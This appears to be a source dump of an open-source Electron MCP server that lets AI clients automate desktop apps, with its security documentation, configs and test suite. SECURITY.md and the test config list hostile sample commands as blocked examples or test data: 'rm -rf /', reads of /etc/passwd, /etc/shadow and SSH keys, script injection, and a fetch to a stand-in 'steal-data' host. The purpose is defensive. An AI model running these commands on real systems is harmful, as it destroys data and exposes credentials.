repository 680 | 2. Create a feature branch (`git checkout -b feature/awesome-feature`) 681 | 3. Commit your changes (`git commit -m 'Add awesome feature'`) 682 | 4. Push to the branch (`git push origin feature/awesome-feature`) 683 | 5. Open a Pull Request 684 | 685 | ## 📄 License 686 | 687 | MIT License - see [LICENSE](LICENSE) file for details. 688 | 689 | ## ☕ Support 690 | 691 | If this project helped you, consider buying me a coffee! ☕ 692 | 693 | [](https://ko-fi.com/halilural) 694 | 695 | Your support helps me maintain and improve this project. Thank you! 🙏 696 | 697 | ## 🙏 Acknowledgments 698 | 699 | - **[Model Context Protocol](https://modelcontextprotocol.io)** - Standardized AI-application interface 700 | - **[Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/)** - Universal debugging interface 701 | - **[Playwright](https://playwright.dev)** - Reliable browser automation 702 | - **[Electron](https://electronjs.org)** - Cross-platform desktop applications 703 | 704 | ## 🔗 Links 705 | 706 | - **[GitHub Repository](https://github.com/halilural/electron-mcp-server)** 707 | - **[NPM Package](https://www.npmjs.com/package/electron-mcp-server)** 708 | - **[Model Context Protocol](https://modelcontextprotocol.io)** 709 | - **[Chrome DevTools Protocol Docs](https://chromedevtools.github.io/devtools-protocol/)** 710 | - **[Issue Template](./ISSUE_TEMPLATE.md)** - Standardized bug reporting format 711 | - **[React Compatibility Issues Documentation](./REACT_COMPATIBILITY_ISSUES.md)** - Technical debugging guide for React applications 712 | 713 | --- 714 | 715 | **Ready to supercharge your Electron development with AI-powered automation?** Install the MCP server and start building smarter workflows today! 🚀 716 | ``` -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- ```markdown 1 | # Security Implementation 2 | 3 | This document describes the security measures implemented in the Electron MCP Server to ensure safe execution of AI-generated commands. 4 | 5 | ## 🛡️ Security Features 6 | 7 | ### 1. Code Execution Isolation 8 | - **Sandboxed Environment**: All JavaScript code execution is isolated using a secure Node.js subprocess 9 | - **Resource Limits**: 10 | - Maximum execution time: 5 seconds 11 | - Memory limit: 50MB 12 | - No filesystem access unless explicitly needed 13 | - No network access by default 14 | - **Global Restriction**: Dangerous globals like `process`, `require`, `fs` are disabled in the sandbox 15 | 16 | ### 2. Input Validation & Sanitization 17 | - **Static Analysis**: Commands are analyzed for dangerous patterns before execution 18 | - **Blacklisted Functions**: Blocks dangerous functions like `eval`, `Function`, `require`, etc. 19 | - **Pattern Detection**: Detects potential XSS, injection, and obfuscation attempts 20 | - **Risk Assessment**: All commands are assigned a risk level (low/medium/high/critical) 21 | - **Command Sanitization**: Dangerous content is escaped or removed 22 | 23 | ### 3. Comprehensive Audit Logging 24 | - **Encrypted Logs**: All execution attempts are logged with encrypted sensitive data 25 | - **Metadata Tracking**: Logs include timestamps, risk levels, execution times, and outcomes 26 | - **Security Events**: Failed attempts and blocked commands are specially flagged 27 | - **Performance Metrics**: Track execution patterns for anomaly detection 28 | 29 | ### 4. Secure Screenshot Handling 30 | - **Encryption**: Screenshot data is encrypted before storage 31 | - **User Notification**: Clear logging when screenshots are taken 32 | - **Data Minimization**: Screenshots are only stored temporarily 33 | - **Secure Transmission**: Base64 data is transmitted over secure channels 34 | 35 | ## 🚨 Blocked Operations 36 | 37 | The following operations are automatically blocked for security: 38 | 39 | ### Critical Risk Operations 40 | - Direct `eval()` or `Function()` calls 41 | - File system access (`fs`, `readFile`, `writeFile`) 42 | - Process control (`spawn`, `exec`, `kill`) 43 | - Network requests in user code 44 | - Module loading (`require`, `import`) 45 | - Global object manipulation 46 | 47 | ### High Risk Patterns 48 | - Excessive string concatenation (potential obfuscation) 49 | - Encoded content (`\\x`, `\\u` sequences) 50 | - Script injection patterns 51 | - Cross-site scripting attempts 52 | 53 | ## ⚙️ Configuration 54 | 55 | Security settings can be configured via environment variables: 56 | 57 | ```bash 58 | # Encryption 59 | SCREENSHOT_ENCRYPTION_KEY=your-secret-key-here 60 | ``` 61 | 62 | ## 📊 Security Metrics 63 | 64 | The system tracks various security metrics: 65 | 66 | - **Total Requests**: Number of commands processed 67 | - **Blocked Requests**: Commands blocked due to security concerns 68 | - **Risk Distribution**: Breakdown by risk levels 69 | - **Average Execution Time**: Performance monitoring 70 | - **Error Rate**: Failed execution percentage 71 | 72 | ## 🔍 Example Security Validations 73 | 74 | ### ✅ Safe Commands 75 | ```javascript 76 | // UI interactions 77 | document.querySelector('#button').click() 78 | 79 | // Data extraction 80 | document.getElementById('title').innerText 81 | 82 | // Simple DOM manipulation 83 | element.style.display = 'none' 84 | ``` 85 | 86 | ### ❌ Blocked Commands 87 | ```javascript 88 | // File system access 89 | require('fs').readFileSync('/etc/passwd') 90 | 91 | // Code execution 92 | eval('malicious code') 93 | 94 | // Process control 95 | require('child_process').exec('rm -rf /') 96 | 97 | // Network access 98 | fetch('http://malicious-site.com/steal-data') 99 | ``` 100 | 101 | ## 🛠️ Development Guidelines 102 | 103 | When extending the MCP server: 104 | 105 | 1. **Always validate input** before processing 106 | 2. **Log security events** for audit trails 107 | 3. **Test with malicious inputs** to verify security 108 | 4. **Follow principle of least privilege** 109 | 5. **Keep security dependencies updated** 110 | 111 | ## 📝 Security Audit Trail 112 | 113 | All security events are logged to `logs/security/` with the following information: 114 | 115 | - Timestamp and session ID 116 | - Command content (encrypted if sensitive) 117 | - Risk assessment results 118 | - Execution outcome 119 | - User context (if available) 120 | - Performance metrics 121 | 122 | **Note**: This security implementation provides strong protection against common threats, but security is an ongoing process. Regular security audits and updates are recommended. 123 | ``` -------------------------------------------------------------------------------- /src/utils/logs.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { getElectronLogs } from './electron-process'; 2 | 3 | // Helper function to read Electron logs 4 | export async function readElectronLogs( 5 | logType: string = 'all', 6 | lines: number = 100, 7 | ): Promise<string[]> { 8 | const allLogs = getElectronLogs(); 9 | 10 | const relevantLogs = allLogs 11 | .filter((log) => { 12 | if (logType === 'all') return true; 13 | if (logType === 'console') return log.includes('[Console]'); 14 | if (logType === 'main') return log.includes('[Main]'); 15 | if (logType === 'renderer') return log.includes('[Renderer]'); 16 | return true; 17 | }) 18 | .slice(-lines); 19 | 20 | return relevantLogs; 21 | } 22 | ``` -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- ```json 1 | { 2 | "compilerOptions": { 3 | "target": "ES2022", 4 | "module": "ESNext", 5 | "moduleResolution": "Node", 6 | "esModuleInterop": true, 7 | "allowSyntheticDefaultImports": true, 8 | "strict": true, 9 | "skipLibCheck": true, 10 | "forceConsistentCasingInFileNames": true, 11 | "declaration": true, 12 | "outDir": "./dist", 13 | "rootDir": "./src", 14 | "resolveJsonModule": true, 15 | "allowImportingTsExtensions": false, 16 | "noEmit": false, 17 | "moduleDetection": "force", 18 | "baseUrl": "./src", 19 | "paths": { 20 | "*": ["*"] 21 | } 22 | }, 23 | "include": ["src/**/*"], 24 | "exclude": ["node_modules", "dist", "**/*.test.ts"] 25 | } 26 | ``` -------------------------------------------------------------------------------- /tests/conftest.ts: -------------------------------------------------------------------------------- ```typescript 1 | /** 2 | * Global test configuration - similar to Python's conftest.py 3 | * This file contains global test setup, fixtures, and configuration 4 | * that applies to all test files in the project. 5 | */ 6 | 7 | import { beforeAll, afterAll } from 'vitest'; 8 | import { GlobalTestSetup } from './support/setup'; 9 | 10 | // Global test setup that runs once before all tests 11 | beforeAll(async () => { 12 | await GlobalTestSetup.initialize(); 13 | }); 14 | 15 | // Global test cleanup that runs once after all tests 16 | afterAll(async () => { 17 | await GlobalTestSetup.cleanup(); 18 | }); 19 | 20 | // Export commonly used test utilities for easy importing 21 | export { TestHelpers } from './support/helpers'; 22 | export { TEST_CONFIG } from './support/config'; 23 | export type { TestElectronApp } from './support/helpers'; 24 | ``` -------------------------------------------------------------------------------- /webpack.config.ts: -------------------------------------------------------------------------------- ```typescript 1 | import path from 'path'; 2 | import { Configuration } from 'webpack'; 3 | import nodeExternals from 'webpack-node-externals'; 4 | 5 | const config: Configuration = { 6 | target: 'node', 7 | mode: 'production', 8 | entry: './src/index.ts', 9 | output: { 10 | path: path.resolve(process.cwd(), 'dist'), 11 | filename: 'index.js', 12 | clean: true, 13 | }, 14 | resolve: { 15 | extensions: ['.ts', '.js'], 16 | modules: ['node_modules', 'src'], 17 | }, 18 | externals: [nodeExternals({ 19 | allowlist: [/@modelcontextprotocol\/.*/] 20 | })], 21 | module: { 22 | rules: [ 23 | { 24 | test: /\.ts$/, 25 | use: 'ts-loader', 26 | exclude: /node_modules/, 27 | }, 28 | ], 29 | }, 30 | optimization: { 31 | minimize: false, // Keep readable for debugging 32 | }, 33 | devtool: 'source-map', 34 | }; 35 | 36 | export default config; 37 | ``` -------------------------------------------------------------------------------- /src/utils/project.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { exec } from 'child_process'; 2 | import { promisify } from 'util'; 3 | import { logger } from './logger'; 4 | 5 | // Helper function to check if Electron is installed (global or local) 6 | export async function isElectronInstalled(appPath?: string): Promise<boolean> { 7 | try { 8 | const execAsync = promisify(exec); 9 | 10 | if (appPath) { 11 | // Check for local Electron installation in the project 12 | try { 13 | await execAsync('npm list electron', { cwd: appPath }); 14 | return true; 15 | } catch { 16 | // If local check fails, try global 17 | logger.warn('Local Electron not found, checking global installation'); 18 | } 19 | } 20 | 21 | // Check for global Electron installation 22 | await execAsync('electron --version'); 23 | return true; 24 | } catch (error) { 25 | logger.error('Electron not found:', error); 26 | return false; 27 | } 28 | } 29 | ``` -------------------------------------------------------------------------------- /eslint.config.ts: -------------------------------------------------------------------------------- ```typescript 1 | import js from '@eslint/js'; 2 | import globals from 'globals'; 3 | import tseslint from 'typescript-eslint'; 4 | 5 | export default tseslint.config( 6 | { 7 | files: ['**/*.{js,mjs,cjs,ts,mts,cts}'], 8 | languageOptions: { 9 | globals: { 10 | ...globals.node, 11 | ...globals.es2022, 12 | }, 13 | parserOptions: { 14 | ecmaVersion: 2022, 15 | sourceType: 'module', 16 | }, 17 | }, 18 | }, 19 | js.configs.recommended, 20 | ...tseslint.configs.recommended, 21 | { 22 | rules: { 23 | '@typescript-eslint/no-explicit-any': 'off', 24 | '@typescript-eslint/no-unused-vars': [ 25 | 'error', 26 | { 27 | argsIgnorePattern: '^_', 28 | varsIgnorePattern: '^_', 29 | caughtErrorsIgnorePattern: '^_', 30 | }, 31 | ], 32 | 'no-case-declarations': 'off', 33 | 'prefer-const': 'error', 34 | 'no-var': 'error', 35 | 'no-console': 'warn', 36 | }, 37 | }, 38 | { 39 | files: ['test/**/*'], 40 | rules: { 41 | '@typescript-eslint/no-explicit-any': 'off', 42 | 'no-console': 'off', 43 | }, 44 | }, 45 | { 46 | ignores: ['dist/**', 'coverage/**', 'node_modules/**', '*.config.js'], 47 | }, 48 | ); 49 | ``` -------------------------------------------------------------------------------- /src/utils/electron-process.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { ChildProcess } from 'child_process'; 2 | 3 | // Electron process management state 4 | export let electronProcess: ChildProcess | null = null; 5 | export let electronLogs: string[] = []; 6 | 7 | /** 8 | * Set the current Electron process reference 9 | */ 10 | export function setElectronProcess(process: ChildProcess | null): void { 11 | electronProcess = process; 12 | } 13 | 14 | /** 15 | * Get the current Electron process reference 16 | */ 17 | export function getElectronProcess(): ChildProcess | null { 18 | return electronProcess; 19 | } 20 | 21 | /** 22 | * Add a log entry to the Electron logs 23 | */ 24 | export function addElectronLog(log: string): void { 25 | electronLogs.push(log); 26 | // Keep only the last 1000 logs to prevent memory issues 27 | if (electronLogs.length > 1000) { 28 | electronLogs = electronLogs.slice(-1000); 29 | } 30 | } 31 | 32 | /** 33 | * Get all Electron logs 34 | */ 35 | export function getElectronLogs(): string[] { 36 | return electronLogs; 37 | } 38 | 39 | /** 40 | * Clear all Electron logs 41 | */ 42 | export function clearElectronLogs(): void { 43 | electronLogs = []; 44 | } 45 | 46 | /** 47 | * Reset the Electron process state 48 | */ 49 | export function resetElectronProcess(): void { 50 | electronProcess = null; 51 | electronLogs = []; 52 | } 53 | ``` -------------------------------------------------------------------------------- /vitest.config.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { defineConfig } from 'vitest/config'; 2 | import { resolve } from 'path'; 3 | import { config } from 'dotenv'; 4 | 5 | // Load environment variables from .env file 6 | config(); 7 | 8 | export default defineConfig({ 9 | test: { 10 | globals: true, 11 | environment: 'node', 12 | setupFiles: ['./tests/conftest.ts'], 13 | include: ['tests/**/*.{test,spec}.{js,mjs,cjs,ts,mts,cts,jsx,tsx}'], 14 | exclude: [ 15 | '**/node_modules/**', 16 | '**/dist/**', 17 | '**/cypress/**', 18 | '**/.{idea,git,cache,output,temp}/**', 19 | '**/{karma,rollup,webpack,vite,vitest,jest,ava,babel,nyc,cypress,tsup,build}.config.*', 20 | '**/setup.ts', // Exclude setup file from being run as a test 21 | ], 22 | coverage: { 23 | provider: 'v8', 24 | reporter: ['text', 'json', 'html'], 25 | exclude: [ 26 | 'node_modules/', 27 | 'test/', 28 | 'dist/', 29 | 'example-app/', 30 | '**/*.d.ts', 31 | '**/*.config.*', 32 | '**/coverage/**', 33 | ], 34 | }, 35 | testTimeout: 10000, 36 | hookTimeout: 10000, 37 | teardownTimeout: 5000, 38 | }, 39 | resolve: { 40 | alias: { 41 | '@': resolve(__dirname, './src'), 42 | '@test': resolve(__dirname, './test'), 43 | }, 44 | }, 45 | }); 46 | ``` -------------------------------------------------------------------------------- /tests/integration/react-compatibility/test-react-electron.cjs: -------------------------------------------------------------------------------- ``` 1 | const { app, BrowserWindow } = require('electron'); 2 | 3 | let mainWindow; 4 | 5 | function createWindow() { 6 | mainWindow = new BrowserWindow({ 7 | width: 900, 8 | height: 700, 9 | webPreferences: { 10 | nodeIntegration: false, 11 | contextIsolation: true, 12 | enableRemoteModule: false, 13 | webSecurity: true 14 | }, 15 | show: false 16 | }); 17 | 18 | // Load the React test app 19 | mainWindow.loadFile('react-test-app.html'); 20 | 21 | // Show window when ready 22 | mainWindow.once('ready-to-show', () => { 23 | mainWindow.show(); 24 | }); 25 | 26 | // Open DevTools for debugging 27 | mainWindow.webContents.openDevTools(); 28 | 29 | mainWindow.on('closed', () => { 30 | mainWindow = null; 31 | }); 32 | } 33 | 34 | // Enable remote debugging for MCP server 35 | app.commandLine.appendSwitch('remote-debugging-port', '9222'); 36 | 37 | app.whenReady().then(() => { 38 | createWindow(); 39 | }); 40 | 41 | app.on('window-all-closed', () => { 42 | if (process.platform !== 'darwin') { 43 | app.quit(); 44 | } 45 | }); 46 | 47 | app.on('activate', () => { 48 | if (BrowserWindow.getAllWindows().length === 0) { 49 | createWindow(); 50 | } 51 | }); 52 | 53 | // Handle errors silently 54 | process.on('uncaughtException', () => { 55 | // Handle error silently 56 | }); 57 | 58 | process.on('unhandledRejection', () => { 59 | // Handle error silently 60 | }); 61 | ``` -------------------------------------------------------------------------------- /src/utils/logger.ts: -------------------------------------------------------------------------------- ```typescript 1 | /* eslint-disable no-console */ 2 | export enum LogLevel { 3 | ERROR = 0, 4 | WARN = 1, 5 | INFO = 2, 6 | DEBUG = 3, 7 | } 8 | 9 | export class Logger { 10 | private static instance: Logger; 11 | private level: LogLevel; 12 | 13 | constructor(level: LogLevel = LogLevel.INFO) { 14 | this.level = level; 15 | } 16 | 17 | static getInstance(): Logger { 18 | if (!Logger.instance) { 19 | // Check environment variable for log level 20 | const envLevel = process.env.MCP_LOG_LEVEL?.toUpperCase(); 21 | let level = LogLevel.INFO; 22 | 23 | switch (envLevel) { 24 | case 'ERROR': 25 | level = LogLevel.ERROR; 26 | break; 27 | case 'WARN': 28 | level = LogLevel.WARN; 29 | break; 30 | case 'INFO': 31 | level = LogLevel.INFO; 32 | break; 33 | case 'DEBUG': 34 | level = LogLevel.DEBUG; 35 | break; 36 | } 37 | 38 | Logger.instance = new Logger(level); 39 | } 40 | return Logger.instance; 41 | } 42 | 43 | setLevel(level: LogLevel) { 44 | this.level = level; 45 | } 46 | 47 | error(message: string, ...args: any[]) { 48 | if (this.level >= LogLevel.ERROR) { 49 | console.error(`[MCP] ERROR: ${message}`, ...args); 50 | } 51 | } 52 | 53 | warn(message: string, ...args: any[]) { 54 | if (this.level >= LogLevel.WARN) { 55 | console.error(`[MCP] WARN: ${message}`, ...args); 56 | } 57 | } 58 | 59 | info(message: string, ...args: any[]) { 60 | if (this.level >= LogLevel.INFO) { 61 | console.error(`[MCP] INFO: ${message}`, ...args); 62 | } 63 | } 64 | 65 | debug(message: string, ...args: any[]) { 66 | if (this.level >= LogLevel.DEBUG) { 67 | console.error(`[MCP] DEBUG: ${message}`, ...args); 68 | } 69 | } 70 | 71 | // Helper method to check if a certain level is enabled 72 | isEnabled(level: LogLevel): boolean { 73 | return this.level >= level; 74 | } 75 | } 76 | 77 | // Export singleton instance 78 | export const logger = Logger.getInstance(); 79 | ``` -------------------------------------------------------------------------------- /tests/support/setup.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { logger } from '../../src/utils/logger'; 2 | import { TestHelpers } from './helpers'; 3 | import { TEST_CONFIG } from './config'; 4 | import { mkdirSync, existsSync } from 'fs'; 5 | 6 | /** 7 | * Global test setup and teardown 8 | * Handles initialization and cleanup that applies to all tests 9 | */ 10 | export class GlobalTestSetup { 11 | /** 12 | * Initialize global test environment 13 | * Called once before all tests run 14 | */ 15 | static async initialize(): Promise<void> { 16 | logger.info('🚀 Starting test suite - Global setup'); 17 | 18 | try { 19 | // Ensure test directories exist 20 | this.ensureTestDirectories(); 21 | 22 | // Clean up any leftover artifacts from previous runs 23 | await TestHelpers.cleanup(); 24 | 25 | logger.info('📁 Test resource directories initialized'); 26 | } catch (error) { 27 | logger.error('Failed to initialize test environment:', error); 28 | throw error; 29 | } 30 | } 31 | 32 | /** 33 | * Clean up global test environment 34 | * Called once after all tests complete 35 | */ 36 | static async cleanup(): Promise<void> { 37 | logger.info('🏁 Test suite completed - Global cleanup'); 38 | 39 | try { 40 | const { total } = TestHelpers.getCleanupSize(); 41 | const totalMB = (total / (1024 * 1024)).toFixed(2); 42 | 43 | logger.info(`🧹 Cleaning up ${totalMB}MB of test artifacts`); 44 | 45 | // Perform comprehensive cleanup 46 | await TestHelpers.cleanup({ 47 | removeLogsDir: true, 48 | removeTempDir: true, 49 | preserveKeys: false, 50 | }); 51 | 52 | logger.info('✅ Global test cleanup completed successfully'); 53 | } catch (error) { 54 | logger.error('Failed to cleanup test environment:', error); 55 | // Don't throw - cleanup failures shouldn't break the test process 56 | } 57 | } 58 | 59 | /** 60 | * Ensure all required test directories exist 61 | */ 62 | private static ensureTestDirectories(): void { 63 | Object.values(TEST_CONFIG.PATHS).forEach((dirPath) => { 64 | if (!existsSync(dirPath)) { 65 | mkdirSync(dirPath, { recursive: true }); 66 | } 67 | }); 68 | } 69 | } 70 | ``` -------------------------------------------------------------------------------- /tests/unit/security-manager.test.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { describe, it, expect, beforeEach } from 'vitest'; 2 | import { SecurityManager } from '../../src/security/manager'; 3 | import { SecurityLevel } from '../../src/security/config'; 4 | import { TEST_CONFIG } from '../conftest'; 5 | 6 | describe('SecurityManager Unit Tests', () => { 7 | describe('shouldSandboxCommand', () => { 8 | let securityManager: SecurityManager; 9 | 10 | beforeEach(() => { 11 | securityManager = new SecurityManager(); 12 | }); 13 | 14 | it('should sandbox risky commands', () => { 15 | TEST_CONFIG.SECURITY.RISKY_COMMANDS.forEach((command) => { 16 | const result = securityManager.shouldSandboxCommand(command); 17 | expect(result).toBe(true); 18 | }); 19 | }); 20 | 21 | it('should not sandbox simple command names', () => { 22 | const simpleCommands = ['get_window_info', 'take_screenshot', 'get_title', 'get_url']; 23 | 24 | simpleCommands.forEach((command) => { 25 | const result = securityManager.shouldSandboxCommand(command); 26 | expect(result).toBe(false); 27 | }); 28 | }); 29 | 30 | it('should cache results for performance', () => { 31 | const command = 'test_command'; 32 | 33 | // First call 34 | const result1 = securityManager.shouldSandboxCommand(command); 35 | 36 | // Second call should use cache 37 | const result2 = securityManager.shouldSandboxCommand(command); 38 | 39 | expect(result1).toBe(result2); 40 | }); 41 | }); 42 | 43 | describe('Security Level Configuration', () => { 44 | it('should default to BALANCED security level', () => { 45 | const securityManager = new SecurityManager(); 46 | expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.BALANCED); 47 | }); 48 | 49 | it('should allow security level changes', () => { 50 | const securityManager = new SecurityManager(); 51 | 52 | securityManager.setSecurityLevel(SecurityLevel.PERMISSIVE); 53 | expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.PERMISSIVE); 54 | 55 | securityManager.setSecurityLevel(SecurityLevel.STRICT); 56 | expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.STRICT); 57 | }); 58 | }); 59 | }); 60 | ``` -------------------------------------------------------------------------------- /tests/support/config.ts: -------------------------------------------------------------------------------- ```typescript 1 | import path from 'path'; 2 | 3 | /** 4 | * Centralized test configuration 5 | * Contains all test constants, paths, and configuration values 6 | */ 7 | export const TEST_CONFIG = { 8 | // Test resource directories 9 | PATHS: { 10 | TEMP_DIR: path.join(process.cwd(), 'temp'), 11 | TEST_TEMP_DIR: path.join(process.cwd(), 'test-temp'), 12 | LOGS_DIR: path.join(process.cwd(), 'logs'), 13 | ELECTRON_APPS_DIR: path.join(process.cwd(), 'temp', 'electron-apps'), 14 | }, 15 | 16 | // Test timeouts and limits 17 | TIMEOUTS: { 18 | ELECTRON_START: 10000, 19 | SCREENSHOT_CAPTURE: 5000, 20 | DEFAULT_TEST: 30000, 21 | }, 22 | 23 | // Security test data 24 | SECURITY: { 25 | RISKY_COMMANDS: [ 26 | 'eval:require("fs").writeFileSync("/tmp/test", "malicious")', 27 | 'eval:process.exit(1)', 28 | 'eval:require("child_process").exec("rm -rf /")', 29 | 'eval:Function("return process")().exit(1)', 30 | 'eval:window.location = "javascript:alert(1)"', 31 | 'eval:document.write("<script>alert(1)</script>")', 32 | ], 33 | MALICIOUS_PATHS: [ 34 | '../../../etc/passwd', 35 | '/etc/shadow', 36 | '~/.ssh/id_rsa', 37 | 'C:\\Windows\\System32\\config\\SAM', 38 | '/var/log/auth.log', 39 | '~/.bashrc', 40 | ], 41 | }, 42 | 43 | // Electron test app configuration 44 | ELECTRON: { 45 | DEFAULT_PORT_RANGE: [9300, 9400], 46 | WINDOW_TITLE: 'Test Electron App', 47 | HTML_CONTENT: ` 48 | <!DOCTYPE html> 49 | <html> 50 | <head> 51 | <title>Test Electron App</title> 52 | </head> 53 | <body> 54 | <h1>Test Application</h1> 55 | <button id="test-button">Test Button</button> 56 | <input id="test-input" placeholder="Test input" /> 57 | <select id="test-select"> 58 | <option value="option1">Option 1</option> 59 | <option value="option2">Option 2</option> 60 | </select> 61 | </body> 62 | </html> 63 | `, 64 | }, 65 | } as const; 66 | 67 | /** 68 | * Create a test-specific temporary directory path 69 | */ 70 | export function createTestTempPath(testName?: string): string { 71 | const timestamp = Date.now(); 72 | const suffix = testName ? `-${testName.replace(/[^a-zA-Z0-9]/g, '-')}` : ''; 73 | return path.join(TEST_CONFIG.PATHS.TEST_TEMP_DIR, `test-${timestamp}${suffix}`); 74 | } 75 | 76 | /** 77 | * Create an Electron app directory path 78 | */ 79 | export function createElectronAppPath(port: number): string { 80 | return path.join(TEST_CONFIG.PATHS.ELECTRON_APPS_DIR, `test-electron-${Date.now()}-${port}`); 81 | } 82 | ``` -------------------------------------------------------------------------------- /src/schemas.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { z } from 'zod'; 2 | 3 | // Command arguments schema for better type safety and documentation 4 | export const CommandArgsSchema = z 5 | .object({ 6 | selector: z 7 | .string() 8 | .optional() 9 | .describe( 10 | 'CSS selector for targeting elements (required for click_by_selector, click_button)', 11 | ), 12 | text: z 13 | .string() 14 | .optional() 15 | .describe( 16 | 'Text content for searching or keyboard input (required for click_by_text, send_keyboard_shortcut)', 17 | ), 18 | value: z 19 | .string() 20 | .optional() 21 | .describe('Value to input into form fields (required for fill_input)'), 22 | placeholder: z 23 | .string() 24 | .optional() 25 | .describe( 26 | 'Placeholder text to identify input fields (alternative to selector for fill_input)', 27 | ), 28 | message: z.string().optional().describe('Message or content for specific commands'), 29 | code: z.string().optional().describe('JavaScript code to execute (for eval command)'), 30 | }) 31 | .describe('Command-specific arguments. Structure depends on the command being executed.'); 32 | 33 | // Schema definitions for tool inputs 34 | export const SendCommandToElectronSchema = z.object({ 35 | command: z.string().describe('Command to send to the Electron process'), 36 | args: CommandArgsSchema.optional().describe( 37 | 'Arguments for the command - must be an object with appropriate properties based on the command type', 38 | ), 39 | }); 40 | 41 | export const TakeScreenshotSchema = z.object({ 42 | outputPath: z 43 | .string() 44 | .optional() 45 | .describe('Path to save the screenshot (optional, defaults to temp directory)'), 46 | windowTitle: z.string().optional().describe('Specific window title to screenshot (optional)'), 47 | }); 48 | 49 | export const ReadElectronLogsSchema = z.object({ 50 | logType: z 51 | .enum(['console', 'main', 'renderer', 'all']) 52 | .optional() 53 | .describe('Type of logs to read'), 54 | lines: z.number().optional().describe('Number of recent lines to read (default: 100)'), 55 | follow: z.boolean().optional().describe('Whether to follow/tail the logs'), 56 | }); 57 | 58 | export const GetElectronWindowInfoSchema = z.object({ 59 | includeChildren: z.boolean().optional().describe('Include child windows information'), 60 | }); 61 | 62 | // Type helper for tool input schema 63 | export type ToolInput = { 64 | type: 'object'; 65 | properties: Record<string, any>; 66 | required?: string[]; 67 | }; 68 | ``` -------------------------------------------------------------------------------- /SECURITY_CONFIG.md: -------------------------------------------------------------------------------- ```markdown 1 | # MCP Security Configuration 2 | 3 | The MCP Electron server uses a **BALANCED** security level that provides an optimal balance between security and functionality. 4 | 5 | ## Security Level: BALANCED (Default) 6 | 7 | The server automatically uses the BALANCED security level, which: 8 | 9 | - Allows safe UI interactions and DOM queries 10 | - Blocks dangerous operations like eval and assignments 11 | - Provides good balance between security and functionality 12 | - Cannot be overridden by environment variables for security consistency 13 | 14 | ## Security Features 15 | 16 | - ✅ Safe UI interactions (clicking, focusing elements) 17 | - ✅ DOM queries (reading element properties) 18 | - ✅ Property access (reading values) 19 | - ❌ Assignment operations (security risk) 20 | - ❌ Function calls in eval (injection risk) 21 | - ❌ Constructor calls (potential exploit vector) 22 | 23 | ## Usage Examples 24 | 25 | Based on your logs, you want to interact with UI elements. Use these secure commands instead of raw eval: 26 | 27 | ### ✅ Secure Ways to Interact: 28 | 29 | ```javascript 30 | // Instead of: document.querySelector('button').click() 31 | command: 'click_by_selector'; 32 | args: { 33 | selector: "button[title='Create New Encyclopedia']"; 34 | } 35 | 36 | // Instead of: document.querySelector('[title="Create New Encyclopedia"]').click() 37 | command: 'click_by_text'; 38 | args: { 39 | text: 'Create New Encyclopedia'; 40 | } 41 | 42 | // Instead of: location.hash = '#create' 43 | command: 'navigate_to_hash'; 44 | args: { 45 | text: 'create'; 46 | } 47 | 48 | // Instead of: new KeyboardEvent('keydown', {...}) 49 | command: 'send_keyboard_shortcut'; 50 | args: { 51 | text: 'Ctrl+N'; 52 | } 53 | ``` 54 | 55 | ### ❌ What Gets Blocked (and why): 56 | 57 | ```javascript 58 | // ❌ Raw function calls in eval 59 | document.querySelector('[title="Create New Encyclopedia"]').click(); 60 | // Reason: Function calls are restricted for security 61 | 62 | // ❌ Assignment operations 63 | location.hash = '#create'; 64 | // Reason: Assignment operations can be dangerous 65 | 66 | // ❌ Constructor calls 67 | new KeyboardEvent('keydown', { key: 'n', metaKey: true }); 68 | // Reason: Constructor calls can be used for code injection 69 | ``` 70 | 71 | ## Configuration in Code 72 | 73 | The security level is automatically set to BALANCED and cannot be changed: 74 | 75 | ```typescript 76 | import { SecurityManager } from './security/manager'; 77 | 78 | // SecurityManager automatically uses BALANCED security level 79 | const securityManager = new SecurityManager(); 80 | 81 | // Security level is fixed and cannot be changed at runtime 82 | // This ensures consistent security across all deployments 83 | ``` 84 | ``` -------------------------------------------------------------------------------- /src/index.ts: -------------------------------------------------------------------------------- ```typescript 1 | #!/usr/bin/env node 2 | 3 | // Load environment variables from .env file 4 | import { config } from 'dotenv'; 5 | import { Server } from '@modelcontextprotocol/sdk/server/index'; 6 | import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio'; 7 | import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types'; 8 | import { tools } from './tools'; 9 | import { handleToolCall } from './handlers'; 10 | import { logger } from './utils/logger'; 11 | 12 | config(); 13 | 14 | // Create MCP server instance 15 | const server = new Server( 16 | { 17 | name: 'electron-mcp-server', 18 | version: '1.0.0', 19 | }, 20 | { 21 | capabilities: { 22 | tools: {}, 23 | }, 24 | }, 25 | ); 26 | 27 | // List available tools 28 | server.setRequestHandler(ListToolsRequestSchema, async () => { 29 | logger.debug('Listing tools request received'); 30 | return { tools }; 31 | }); 32 | 33 | // Handle tool execution 34 | server.setRequestHandler(CallToolRequestSchema, async (request) => { 35 | const start = Date.now(); 36 | 37 | logger.info(`Tool call: ${request.params.name}`); 38 | logger.debug(`Tool call args:`, JSON.stringify(request.params.arguments, null, 2)); 39 | 40 | const result = await handleToolCall(request); 41 | 42 | const duration = Date.now() - start; 43 | if (duration > 1000) { 44 | logger.warn(`Slow tool execution: ${request.params.name} took ${duration}ms`); 45 | } 46 | 47 | // Log result but truncate large base64 data to avoid spam 48 | if (logger.isEnabled(2)) { 49 | // Only if DEBUG level 50 | const logResult = { ...result }; 51 | if (logResult.content && Array.isArray(logResult.content)) { 52 | logResult.content = logResult.content.map((item: any) => { 53 | if ( 54 | item.type === 'text' && 55 | item.text && 56 | typeof item.text === 'string' && 57 | item.text.length > 1000 58 | ) { 59 | return { 60 | ...item, 61 | text: item.text.substring(0, 100) + '... [truncated]', 62 | }; 63 | } 64 | if ( 65 | item.type === 'image' && 66 